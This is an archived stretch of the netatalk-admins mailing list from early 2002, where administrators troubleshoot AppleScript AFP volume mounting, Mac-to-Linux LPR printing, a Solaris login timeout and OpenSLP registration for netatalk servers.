	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA29519
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 18:01:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA14015
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 18:01:59 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA14008
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 18:01:59 -0500 (EST)
Received: from sylvester.anet.uwrf.edu (sylvester.anet.uwrf.edu [139.225.32.119])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA13991
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 18:01:58 -0500 (EST)
Received: from [139.225.72.22] (bunny.css.its.uwrf.edu [139.225.72.22])
	by sylvester.anet.uwrf.edu (8.9.3/8.9.3) with ESMTP id RAA00309
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 17:01:57 -0600
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 31 Jan 2002 17:01:57 -0600
Subject: Re: Mounting volumes with AppleScript
From: "Robert J. Rust" <robert.j.rust@uwrf.edu>
To: netatalk admins <netatalk-admins@umich.edu>
Message-ID: <B87F2905.7094%robert.j.rust@uwrf.edu>
In-Reply-To: <B87EAF11.1A3DA%Thomas.Kaiser@phg-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I just tried this on a freshly updated MacOS 9.2.2 system (from 9.1 ->
9.2.2) with AppleScript 1.7 and got the same "network file permission"
error.  afaik, all my security extensions are intact (Security Cert Module,
Security Library, Security Manager, Security Policy Module, Security Storage
Module).  The server is as follows:

OS:        Solaris 2.6 w/ current Sun Recommended and Security patches
Netatalk:    netatalk-1.4b2+asun2.1.4

script consists of one line (with obvious substitutions in the URL):
mount volume "afp://uname:passwd@hostname/Home/"

Robert

> On Wed, 30 Jan 2002 19:01:45 -0600, Robert Rust wrote:
> 
>> I should point out that in my experience, the only version of MacOS 9.x that
>> the 'mount volume' script command works with a netatalk server in is 9.0.4.
>> Updates past that break the 'Standard Additions' scripting addition such
>> that you cannot connect to a netatalk server with 'mount volume'.  This can
>> be fixed by re-installing the 'Standard Additions' from 9.0.4.
> 
> Hmm... Just tried it out on a plain 9.1 install: Everything works as
> expected (conneting to a 1.5.1.1 netatalk installation). I believe you
> disabled the 'Security ...' extensions in your extensions folder?
> 
> There are some known issues with recent AppleScript versions and the 'mount
> volume' command:
> 
> - Standard Additions 1.4 - 1.4.2 had problems with some non-AppleShare
> servers (<http://devworld.apple.com/technotes/tn/tn1194.html#applescript>)
> that doesn't support encrypted passwords -- fixed with 1.4.3 and above.
> A detailled summary can be found here:
> <http://quest.cc.purdue.edu/~aeh/archive/2000/msg00028.html>
> 
> - in 1.7 the AFP over AppleTalk syntax 'on server [servername]' didn't work,
> so you should use the AFPoverAppleTalk syntax: 'mount volume "afp:/at/..."
> 
> According to the AppleScript Sourcebook the two following problems exist
> <http://www.AppleScriptSourcebook.com/applescript/applescript160.html>
> 
> - "In Mac OS 9.1, none of the commands in Standard Additions worked if the
> new Security items in the Extensions folder were disabled. This bug bit
> many users who routinely disabled the Security items because they did not
> use the Keychain and felt secure enough without the extensions. In both
> the Classic environment of Mac OS X and the new 1.6 release of Standard
> Additions for Mac OS 9.1, only the Mount Volume command in Standard
> Additions requires the Security items."
> 
> - "AppleScript 1.6 introduces a known problem with using the mount volume
> command to mount volumes hosted on certain kinds of servers, especially
> Windows 2000 machines. This problem will be addressed in a future version
> of AppleScript"
> 
> (BTW: I tried to compile some information about related topics here:
> <http://users.phg-online.de/tk/automount%20afp-servers.html>)
> 
>>> On 2002-01-31 01:26 +0100, Thomas Schierle wrote:
>> [...]
>>> Of cause, the complete script should be something like:
>>> 
>>> tell application "Finder"
>>> mount volume "afp://fred@ip.ad.re.ss/volume.name/" with authentication
>>> end tell
> 
> 'mount volume' is part of an OSAX' dictionary, so you should not use it
> inside a 'tell application' statement.
> 
> Regards,
> 
> Thomas
> 
> 

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Robert J Rust
Microcomputer Support Specialist
UW - River Falls IT Services
(715) 425-4357
robert.j.rust@uwrf.edu
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


From netatalk.administrators-errors@umich.edu  Thu Jan 31 18:11:56 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA00038
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 18:11:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA10471
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 18:11:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA10460
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 18:11:55 -0500 (EST)
Received: from florence.viz.com (dsl081-250-098.sfo1.dsl.speakeasy.net [64.81.250.98])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA10434
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 18:11:54 -0500 (EST)
Received: from deanix.viz.com (deanix.viz.com [192.168.1.220])
	by florence.viz.com (Postfix) with ESMTP id 40E2BB5813
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 15:03:43 -0800 (PST)
Subject: Re: Mounting volumes with AppleScript
From: Deano! <deano@viz.com>
To: netatalk admins <netatalk-admins@umich.edu>
In-Reply-To: <B87F2905.7094%robert.j.rust@uwrf.edu>
References: <B87F2905.7094%robert.j.rust@uwrf.edu>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 31 Jan 2002 15:08:10 -0800
Message-Id: <1012518490.13189.153.camel@deanix.viz.com>
Mime-Version: 1.0

I think I missed part of this conversation, but could someone tell me
what happens if you have the following in a script:

mount volume "afp://hostname/share/"

Will it then prompt for both user and* password? We'd certainly prefer
to not have to rewrite each script a few hundred times, and this way we
could build disk images with built-in desktop/dock/etc 'aliases' to the
major server shares.

> script consists of one line (with obvious substitutions in the URL):
> mount volume "afp://uname:passwd@hostname/Home/"
> 



-deano


From netatalk.administrators-errors@umich.edu  Thu Jan 31 19:11:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA05245
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 31 Jan 2002 19:11:29 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA03820
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 31 Jan 2002 19:11:29 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA03806
	for netatalk.administrators-members@umich.edu; Thu, 31 Jan 2002 19:11:28 -0500 (EST)
Received: from harrier.prod.itd.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA03772
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 19:11:27 -0500 (EST)
Received: from cpe-66-1-165-152.az.sprintbbd.net ([66.1.165.152] helo=rohan.tucson.boeckeler.com)
	by harrier.prod.itd.earthlink.net with esmtp (Exim 3.33 #1)
	id 16WRIb-0004Dw-00
	for netatalk-admins@umich.edu; Thu, 31 Jan 2002 16:11:26 -0800
Received: from vulcan.tucson.boeckeler.com (vulcan.tucson.boeckeler.com [10.0.1.162])
	by rohan.tucson.boeckeler.com (8.11.6/8.9.3) with ESMTP id g110BN001386
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 17:11:23 -0700
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
From: "Carl D. Blake" <carl@boeckeler.com>
To: netatalk-admins@umich.edu
In-Reply-To: <20020131165610.A13231@jaka.ece.uiuc.edu>
References: <1012514885.10802.20.camel@vulcan> 
	<20020131165610.A13231@jaka.ece.uiuc.edu>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 31 Jan 2002 17:11:23 -0700
Message-Id: <1012522283.10830.23.camel@vulcan>
Mime-Version: 1.0

On Thu, 2002-01-31 at 15:56, Tony Stuckey wrote:
> On Thu, Jan 31, 2002 at 03:08:03PM -0700, Carl D. Blake wrote:
> > I have a Mac running 8.5 that I am attempting to setup to print onto a
> > printer on a Redhat V6.2 system.  The linux system is running the lpr
> > printing system V0.50.5.
> [...] 
> > lpr on the linux system works just fine - I can print to the printer
> > without any problems.
> [...] 
> > Does anybody have any suggestions?
> 
> 	MacOS 8.1 and later support direct printing to LPR/LPD devices.
> You do not have to use PAPD at all.  Create a desktop printer on the
> Macintosh.
> 	This is an FAQ.  This information does not appear in the FAQ at
> http://netatalk.sourceforge.net/faq.php, unfortunately.
> -- 
> Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
> "And they said work hard, and die suddenly, because it's fun."
> 	-Robyn Hitchcock.
Sad to say, I've already been trying to get the lpr/lpd method to work
for a while too.  I originally tried the papd method and had problems
with that, so I found out about the lpr/lpd method and tried that.  The
Mac freezes solid everytime I try the print using lpr/lpd.
-- 



From netatalk.administrators-errors@umich.edu  Fri Feb  1 04:08:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA28545
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 04:08:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA07962
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 04:08:14 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA07947
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 04:08:14 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA07920
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 04:08:13 -0500 (EST)
Received: from host213-122-189-102.dial.btopenworld.com ([213.122.189.102] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16WZg3-0001hi-00
	for netatalk-admins@umich.edu; Fri, 01 Feb 2002 09:08:11 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id TAA30009
	for <netatalk-admins@umich.edu>; Thu, 31 Jan 2002 19:36:04 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100311b87f4ba6da54@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Thu, 31 Jan 2002 19:36:03 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: aliases & view
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Having updated to 1.5.1.1 I can now re-mount an afp volume just by 
selecting its alias from the previous session. Good:-)

However, although not related, I now notice that when re-mounting my 
home directory it has retained its views setting, whereas when I try 
the same thing with the public folder it always re-mounts in icon 
view, not list, as it was when unmounted.

Am I right in thinking that this info gets stored in 
TheVolumeSettings directory? The permissions are the same as for the 
home directory version (but owner nobody, rather than me). Can 
someone point me in the right direction to fix this?

Now I need to get SLP running...
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb  1 04:40:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA00731
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 04:40:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA01266
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 04:40:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA01251
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 04:40:05 -0500 (EST)
Received: from agnostix.bangor.ac.uk (agnostix.bangor.ac.uk [147.143.2.39])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA01200
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 04:40:04 -0500 (EST)
Received: from dogmatix.bangor.ac.uk (dogmatix [147.143.2.239])
	by agnostix.bangor.ac.uk (8.12.1/8.12.1) with ESMTP id g119e24O010631
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 09:40:02 GMT
Received: from publix (publix [147.143.5.6])
	by dogmatix.bangor.ac.uk (8.9.3+Sun/8.9.3) with ESMTP id JAA14770
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 09:40:02 GMT
Date: Fri, 1 Feb 2002 09:40:02 +0000 (GMT)
From: "S.Barbaresi" <iss033@bangor.ac.uk>
X-Sender:  <iss033@publix>
To: <netatalk-admins@umich.edu>
Subject: netatalk 1.5.1.1: Solaris 8 and login problems
In-Reply-To: <OFDC6A9C3C.C8718755-ON88256B52.006501A6@kwantlen.ca>
Message-ID: <Pine.SOL.4.30.0202010908220.21693-100000@publix>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello,

I'm failing to login to a netatalk server from a Mac desktop via
"Registered User". However "Guest" works. What I see in syslog is:

Feb  1 09:31:47 steffigraf afpd[11561]: [ID 511611 daemon.error]
atp_rresp: Connection timed out
Feb  1 09:31:57 steffigraf afpd[11561]: [ID 505962 daemon.error] afp_die:
asp_shutdown: Connection timed out

the source was compiled with:

	./configure  --with-shadow --prefix=/usr/local/atalk
            --exec-prefix=/usr/local/

Can anyone point me in the right direction?

Thanking you in advance,

Sim

S.Barbaresi 					E-mail s.barbaresi@bangor.ac.uk
Computing Centre, UWB 				Tel (44) (01)248 382403 (ddi)
Sackville Road 					Fax (44) (01)248 383826 (ddi)
Bangor, Gwynedd LL57 1LD, UK



From netatalk.administrators-errors@umich.edu  Fri Feb  1 06:20:04 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA04430
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 06:20:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA05188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 06:20:04 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA05185
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 06:20:04 -0500 (EST)
Received: from colony.com (colonyuk.demon.co.uk [158.152.173.186])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA05172
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 06:20:02 -0500 (EST)
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Fri, 1 Feb 2002 11:10:32 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102806b880130ac298@[172.20.192.150]>
In-Reply-To: <B87EEF7D.E168%peter@mprint.com>
References: <1012492755.6134.19.camel@comp10574>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Fri, 1 Feb 2002 09:42:10 +0000
To: netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: Long file names

Peter Anton wrote:

>Other than myself, the only people who handle our netatalk published
>files are Mac users, so renaming didn't hurt another, say, Wintel user.

And remember, it isn't sooo long ago that we had the same problem the other
way round in that Mac users had to mess around with a poxy 8 characters for
compatibility !

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Fri Feb  1 07:40:05 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA06690
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 07:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA09761
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 07:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA09748
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 07:40:04 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA09729
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 07:40:03 -0500 (EST)
Received: from host213-122-40-25.dial.btopenworld.com ([213.122.40.25] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16Wcz4-0002bh-00
	for netatalk-admins@umich.edu; Fri, 01 Feb 2002 12:40:02 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id MAA05124
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 12:33:10 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100312b88039fde027@[10.0.1.10]>
In-Reply-To: <1012522283.10830.23.camel@vulcan>
References: <1012514885.10802.20.camel@vulcan> 
 <20020131165610.A13231@jaka.ece.uiuc.edu>
 <1012522283.10830.23.camel@vulcan>
X-Mailer: Eudora for Macintosh!
Date: Fri, 1 Feb 2002 12:33:08 +0000
To: netatalk-admins@umich.edu
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 5:11 pm -0700 31/1/02, Carl D. Blake wrote:
>>  	MacOS 8.1 and later support direct printing to LPR/LPD devices.
>>  You do not have to use PAPD at all.  Create a desktop printer on the
>>  Macintosh.
>>  	This is an FAQ.  This information does not appear in the FAQ at
>>  http://netatalk.sourceforge.net/faq.php, unfortunately.
>>  --
>>  Anthony J. Stuckey                              stuckey@jaka.ece.uiuc.edu
>>  "And they said work hard, and die suddenly, because it's fun."
>>  	-Robyn Hitchcock.
>Sad to say, I've already been trying to get the lpr/lpd method to work
>for a while too.  I originally tried the papd method and had problems
>with that, so I found out about the lpr/lpd method and tried that.  The
>Mac freezes solid everytime I try the print using lpr/lpd.


To print directly from Macs to LPR printers you need Apple's Desktop 
Printer Utility. Select LPR, create the desktop printer and it should 
all work - always has for me.

Was this freeze related to this method or via Netatalk?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb  1 08:30:15 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA08595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 08:30:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id IAA22272
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 08:30:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id IAA22270
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 08:30:14 -0500 (EST)
Received: from holmes.cpfs.mpg.de (holmes.cpfs.mpg.de [141.5.12.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id IAA22250
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 08:30:13 -0500 (EST)
Received: from cube.cpfs.mpg.de (bs@cube.cpfs.mpg.de [141.5.12.15]) by holmes.cpfs.mpg.de (8.8.8/8.8.2) with ESMTP id OAA11737; Fri, 1 Feb 2002 14:30:12 +0100 (MET)
Date: Fri, 1 Feb 2002 14:30:11 +0100
Subject: Re: Printing from Mac OS 8.5 to linux Redhat 6.
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v480)
Cc: netatalk-admins@umich.edu
To: "Carl D. Blake" <carl@boeckeler.com>
From: Burkhard Schmidt <bs@cpfs.mpg.de>
In-Reply-To: <1012522283.10830.23.camel@vulcan>
Message-Id: <D14BE20D-1717-11D6-9D70-003065A28C6E@cpfs.mpg.de>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.480)


Am Freitag den, 1. Februar 2002, um 01:11, schrieb Carl D. Blake:

> On Thu, 2002-01-31 at 15:56, Tony Stuckey wrote:
>> On Thu, Jan 31, 2002 at 03:08:03PM -0700, Carl D. Blake wrote:
>>> I have a Mac running 8.5 that I am attempting to setup to print onto a
>>> printer on a Redhat V6.2 system.  The linux system is running the lpr
>>> printing system V0.50.5.
>> [...]
>>> lpr on the linux system works just fine - I can print to the printer
>>> without any problems.
>> [...]
>>> Does anybody have any suggestions?
>>
>> 	MacOS 8.1 and later support direct printing to LPR/LPD devices.
>> You do not have to use PAPD at all.  Create a desktop printer on the
>> Macintosh.
>> 	This is an FAQ.  This information does not appear in the FAQ at
>> http://netatalk.sourceforge.net/faq.php, unfortunately.
>> --
>> Anthony J. Stuckey                              
>> stuckey@jaka.ece.uiuc.edu
>> "And they said work hard, and die suddenly, because it's fun."
>> 	-Robyn Hitchcock.
> Sad to say, I've already been trying to get the lpr/lpd method to work
> for a while too.  I originally tried the papd method and had problems
> with that, so I found out about the lpr/lpd method and tried that.  The
> Mac freezes solid everytime I try the print using lpr/lpd.

Just in case you're trying to print via LPR to a printserver (instead of 
directly to a printer): Did you update your /etc/hosts.lpd on the server 
to allow the Mac OS clients to access it via LPR? Or is this not 
necessary with Redhat Linux?

Regards, Burkhard.


From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:00:13 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA12377
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:00:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA16583
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:00:13 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA16579
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:00:13 -0500 (EST)
Received: from protactinium.btinternet.com (protactinium.btinternet.com [194.73.73.176])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA16557
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:00:11 -0500 (EST)
Received: from host213-122-55-32.dial.btopenworld.com ([213.122.55.32] helo=nexus.local.net)
	by protactinium.btinternet.com with esmtp (Exim 3.22 #8)
	id 16WfAg-0004BL-00; Fri, 01 Feb 2002 15:00:10 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id OAA05595;
	Fri, 1 Feb 2002 14:32:19 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510031ab88055fa73a6@[10.0.1.10]>
In-Reply-To: <B87E414C.1A388%Thomas.Kaiser@phg-online.de>
References: <B87E414C.1A388%Thomas.Kaiser@phg-online.de>
X-Mailer: Eudora for Macintosh!
Date: Fri, 1 Feb 2002 14:32:18 +0000
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>,
        Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: Aliases (sorry) and passwords
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:33 am +0100 31/1/02, Thomas Kaiser wrote:
>>  To avoid the need for aliases to provide quick remounting, is there a
>>  way to browse AppleShareIP servers, i.e. NOT AppleTalk, IP only. I
>>  thought I had read that Apple had introduced a new protocol to do
>>  exactly that (in conjunction with DNS I seem to remember), but I
>>  cannot remember what it was called - can Netatalk offer this?
>
>I think, you speak about SLP (service location protocol). The recent
>netatalk versions can be configured to register themselves with OpenSLP. But
>you can also use static SLP entries that can be browsed from within network
>browser on MacOS 8.5 (?) and above. Take a look at <http://www.openslp.org>


Ah, that's it.

I've now updated to Netatalk 1.5.1.1 and am running OpenSLP 1.0.6 and 
if I use slptool I can see the services that I have configured into 
the static file, slp.reg. But Network Browser on the Mac sees nothing 
- it appears that Netatalk is not 'registering' itself with slpd. Are 
you familiar with getting Netatalk to interoperate with slp and 
becoming browsable from the Mac?

Anyone have any info on how to configure Netatalk to do this, there's 
NOTHING in the docs? about slp, just a line in the source code 
somewhere, so it is supposed to be able to do slp.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Fri Feb  1 10:19:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA13361
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 1 Feb 2002 10:19:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA10515
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 1 Feb 2002 10:19:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA10506
	for netatalk.administrators-members@umich.edu; Fri, 1 Feb 2002 10:19:52 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA10472
	for <netatalk-admins@umich.edu>; Fri, 1 Feb 2002 10:19:51 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA27416;
	Fri, 1 Feb 2002 16:46:06 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Fri, 01 Feb 2002 16:20:11 +0100
Subject: SLP registration (was: Re: Aliases (sorry) and passwords)
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Ken Gillett <keng@BTInternet.com>,
        Netatalk List <netatalk-admins@umich.edu>
Message-ID: <B88070BA.1A71D%Thomas.Kaiser@phg-online.de>
In-Reply-To: <p0510031ab88055fa73a6@[10.0.1.10]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Fri, 1 Feb 2002 14:32:18 +0000, Ken Gillett wrote:

> I've now updated to Netatalk 1.5.1.1 and am running OpenSLP 1.0.6 and
> if I use slptool I can see the services that I have configured into
> the static file, slp.reg. But Network Browser on the Mac sees nothing
> - it appears that Netatalk is not 'registering' itself with slpd.

Even in this case you can use a static entry like:

slptool register "afp://[your server's ip address]/?NAME=[name of server]"

If I run a 'slptool dumpall' then I get for example:

    afp://192.168.71.1/?NAME=datenschleuder,96

> [...]
> Anyone have any info on how to configure Netatalk to do this, there's
> NOTHING in the docs?

A solution has been posted on this list a few weeks ago:

| On Thu, 20 Dec 2001 11:50:39 +0100, Burkhard Schmidt wrote:
| 
| > (1) You have to set up an SLP server, if you don't have one already.
| > Have a look at http://www.openslp.org/ for advice.
| > (2) You have to install the SLP header file and library in /path/to/slp
| > on the machine you build Netatalk on.
| > (3) Build Netatalk with the configure option "--enable-
| > srvloc=/path/to/slp".

> about slp, just a line in the source code somewhere, so it is supposed to be
